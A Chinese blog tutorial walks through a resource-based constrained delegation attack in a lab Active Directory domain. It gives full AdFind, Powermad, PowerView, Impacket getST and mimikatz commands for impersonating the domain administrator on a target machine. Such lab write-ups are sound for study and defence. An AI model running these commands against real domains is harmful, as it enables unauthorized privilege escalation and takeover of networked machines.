基于资源的约束委派攻击

前言

上两篇⽂章介绍了约束委派、⾮约束委派攻击的利⽤,这篇⽂章我们来看看基于资源的约束性委派攻击。通过利⽤基于资源的约束委派攻击,我们能够使普通域⽤户以域管理员身份访问远程计算机 CIFS 等服务,实现本地权限提升。

基于资源的约束性委派

基于资源的约束性委派:为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置相关属性,⽽是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性,就可以进行基于资源的约束委派。

配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。如admin--pc的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为test的sid值。2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性

攻击前提

资源的约束委派不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限,谁拥有修改这个属性的权限了?在我们加入域的时候,会输入一个域账号进行验证,验证成功则加入域,而这个账号就拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限

在⼤型内⽹域环境中,将机器加⼊到域环境中⼀般不会⽤域管权限,⽽是⽤⼀个专⻔用来加域的域⽤户去操作。那么当我们拿下加域的⽤户的账号密码时,就可以把通过该域⽤户加⼊
到域⾥的所有机器都拿下

环境配置

域:test.lab

  • 域控:192.168.10.2  test\administrator
  • 主机:192.168.10.4  test\yu            机器名:win2008
  • 主机:192.168.10.5  test\yuwin7   机器名:ADMIN--PC

其中yu这个用户就是加域的用户,其将ADMIN--PC这台机器加入到了域环境中。假设我们获取了yu的账号和密码

1. 使用普通域用户yu将计算机加入到域环境中

默认情况下,并非只有域管理员才有将普通用户加入域的权限。域中每一个普通帐号都有将10台电脑加入域的权限。

新建一个加域的普通域用户 yu

将之前加入域的计算机退出域,然后再修改计算机名,再加入域,输入新建的域账号

加入成功

ps:决定普通域用户有权将计算机加入到域的属性如下

输入 adsiedit.msc ,在打开的ADSI编辑器右击-“连接到”-点击确定,右键 “DC=xxx DC="com" 单击“属性”,ms-DS-MachineAccountQuota属性值为10,说明了一个普通的域用户可以将10台主机加入到域

攻击利用

通过查看 “ net localgroup administrators ” 可知道yu并不在本都管理员组中,就可以通过yu域用户提权到administrator

在test.lab域中,yu域用户负责将ADMIN--PC加入到域内,那么当我们拿下yu这个域⽤户的权限后,就可以拿下域内 ADMIN--PC或者其他被他加入到域内的机器。以下所有的操作都在win2008机器上执行即yu这个账户上操作

1. 通过 ADfind 查询每个域机器是由哪个域⽤户添加进域的

通过 mS-DS-CreatorSID 查看域⽤户的 sid

AdFind.exe -h 192.168.10.2 -u yu -up yu.com -b "DC=test,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

得到将admin--pc加入到域内的账户的sid值为:S-1-5-21-587556175-550635965-2643831430-1107

那么问题来了,我们怎么知道这个sid值是哪个用户的了?

2. 查询sid对应的用户名

有两个方法

(1)sid2user.exe 工具查询,需要把 - 去掉

sid2user.exe \\192.168.10.2  5 21 587556175 550635965 2643831430 1107

这个sid的用户就是 yu

 (2)用命令查询

域用户可以查询域内所有账户的sid值

wmic useraccount get /all | findstr  S-1-5-21-587556175-550635965-2643831430-1107 > 2.txt

我们需要添加⼀个机器⽤户,因为需要⽤机器⽤户去申请票据,本身的 win7 本地账户我们不知道他的密码所以⽆法申请票据,所以我们需要添加⼀个机器⽤户,⽤来帮助我们申请票据

3. 利⽤ powermad 添加机器账户

地址:Powermad.ps1,添加机器账户test

powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

Set-ExecutionPolicy Bypass -Scope Process;import-module .\Powermad.ps1;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

此时就有了⼀个域机器账户test,net group "domain computers" /domain

 

4. 获取test机器账户的sid值

Microsoft.ActiveDirectory.Management.dll地址:3gstudent/test · GitHub

在上面脚本的基础上我们导入如下模块进行查询

import-module .\Microsoft.ActiveDirectory.Management.dll
Get-MachineAccountAttribute -MachineAccount test -Attribute servicePrincipalName

获取test账号sid为:S-1-5-21-587556175-550635965-2643831430-1110

5. 配置 test 到admin--pc的基于资源的委派

修改ADMIN--PC的 "msds-allowedtoactonbehalfofotheridentity"值,使用PowerView

值得注意的是PowerView存在两个版本,有些功能只在dev版本中支持,两个版本的地址分别如下,这里使用带dev的

  • https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  • https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

我们将test的sid值和 ADMIN--PC填入到如下

powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-587556175-550635965-2643831430-1110)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer ADMIN--PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

为了方便我们直接把它衔接成一条命令执行

Set-ExecutionPolicy Bypass -Scope Process;import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-587556175-550635965-2643831430-1110)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer ADMIN--PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

验证是否成功加入

Get-DomainComputer ADMIN--PC -Properties msds-allowedtoactonbehalfofotheridentity

 若想清除 msds-allowedtoactonbehalfofotheridentity 属性的值,可⽤如下命令:

Set-DomainObject ADMIN--PC -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

6. 生成票据

使⽤ impacket的 getST.py ⽣成票据(建议使⽤ socks5),会在当前⽬录下⽣administrator.ccache ⽂件:

pip install six pyasn1 impacket
python getST.py -dc-ip 192.168.10.2 test.lab/test\$:123456 -spn cifs/ADMIN--PC.test.lab -impersonate administrator

7. mimikatz导入票据

mimikatz "kerberos::ptc administrator.ccache"

注入之前访问 ADMIN--pc

注入后,成功访问

 ps:通过dir查看,需目标机器关闭了防火墙才行,或者就算注入成功也会显示找不到网络路径

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢北先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值